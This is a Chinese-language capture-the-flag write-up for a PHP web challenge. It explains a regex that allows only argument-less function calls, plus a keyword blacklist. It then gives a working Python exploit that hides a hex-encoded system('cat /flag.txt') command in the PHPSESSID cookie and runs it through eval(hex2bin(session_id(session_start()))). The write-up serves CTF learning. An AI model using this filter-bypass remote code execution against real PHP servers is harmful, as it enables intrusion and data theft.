[YCTF]web1-rce_nopar
前言:
比賽題目環境版本是:PHP/5.5.9-1ubuntu4.14
如果要進行本地測試,請盡量使用附近的版本,我測試過5.6版本基本都可以用。
如果自己本地搭建,payload沒有成功,請檢查PHP的版本。
經過本地測試,payload在PHP7.2的版本,payload會不起作用,也得不到flag。
原因是更新的版本函數執行底層代碼改變了。
考察:無參RCE、session的使用、正則表達式
進入頁面,顯示如下php代碼。
<?php
if(isset($_GET['var'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
} else {
die("Sorry!");
}
}
else{
show_source(__FILE__);
}
?>
關鍵代碼如下:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
}
}
先分析外層if句的正則表達式:
[^\W]+\((?R)?\)
首先分析[^\W]:
其中"[]"表示匹配的開始結束,"^"表示取反。
\W,(注意這個W是大寫的),匹配非字母、數字、下划線。等價於 [^A-Za-z0-9_]。
所以[^\W]是對上面的\w取反: 匹配所有字母數字下划線的字母。
不太熟悉正則的注意正則中的 “+”,是為了拼接整個表達式的,並不是需要我們匹配 "+",
然后是\((?R)?\):
其中兩側的\( 和\)表示匹配括號。
(?R),(?R)表示遞歸表達式本身,
(?R)?,最后的"?"表示匹配1個或者0個表達式本身,最后的 “?” 必不可少的。
綜上,我們大概就清晰了。
整個正則是要把對應形式的內容提取出來,然后通過preg_replace函數,用空字符串進行代替,得到一個字符串。
得到的這個字符串必須是完全等於“;”的。
我們的payload大致為如下形式,可以帶字母,數字,下划線。
一定明白好這個正則,使用函數必須無參。
a(b_c());
接下來分析內層的if判斷句
其實內層的正則就比較好過了,最重要的還是外層的正則。
/et|dir|na|info|dec|oct|pi|log/i
兩側的 ” / “ 是整個表達式的開頭和結尾,結尾的i表示不區分大小寫。
用|分隔多種匹配情況。
即:et、dir、na、info、dec、oct、pi、log都是非法的字符。
綜上,第二個正則:
我們輸入的參數,不可以帶 et、dir、na、info、dec、oct、pi、log中的任何一個,即便大小寫混合也不行。
進入我們構造payload的階段
先給出exp吧,這樣還比較好解釋。
腳本是python2的 , python3的encode()函數使用會不一樣
import requests
url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'
payload ="system('cat /flag.txt');".encode('hex')
#73797374656d2827636174202f666c61672e74787427293b
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print (r.content)
經過分析,我們有了思路
第一我們清晰了參數大致形式: a( b_c() ) ;
第二明確了傳入的var必須是無參的,但使用eval的執行沒有參數又是不太現實的。
第三我們需要特殊手段,注入需要執行命令的參數,比如~: cookies。
驚喜:cookies有個PHPSESSID,在調用PHP的session_start();后函數會自動生成。
當然,在合法的規則下,我們可以更改這個PHPSESSID的值。
總結出利用手段:利用session構造無參數RCE
解釋函數:
仔細理解session_id函數的使用注意,這也是為什么我們要把命令執行語句,轉為16進制字符串的原因。
| 函數 | 功能: | 使用注意: |
|---|---|---|
| session_start(); | 創建新會話或者重用現有會話。 | 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID, 則會重用現有會話。 |
| session_id(); | 可以用來獲取/設置 當前會話 ID。 | 不同會話管理器對id中可以使用的字符有不同的限制。例有的管理器允許使用字符:*a-z A-Z 0-9 ,(逗號) - (減號)。 |
| hex2bin() ; | 把十六進制值的字符串轉換為 ASCII 字符串。 | |
| eval(); | 把字符串按 PHP 代碼執行。 |
函數執行過程:
傳入我們的var變量和PHPSESSID后:
eval($_GET['var']);會觸發
詳細執行情況如下:
根據腳本此處 shell <==> system('cat /flag.txt');
eval("eval(hex2bin(session_id(session_start())));");

最后我們就得到了flag.txt文件的內容值。

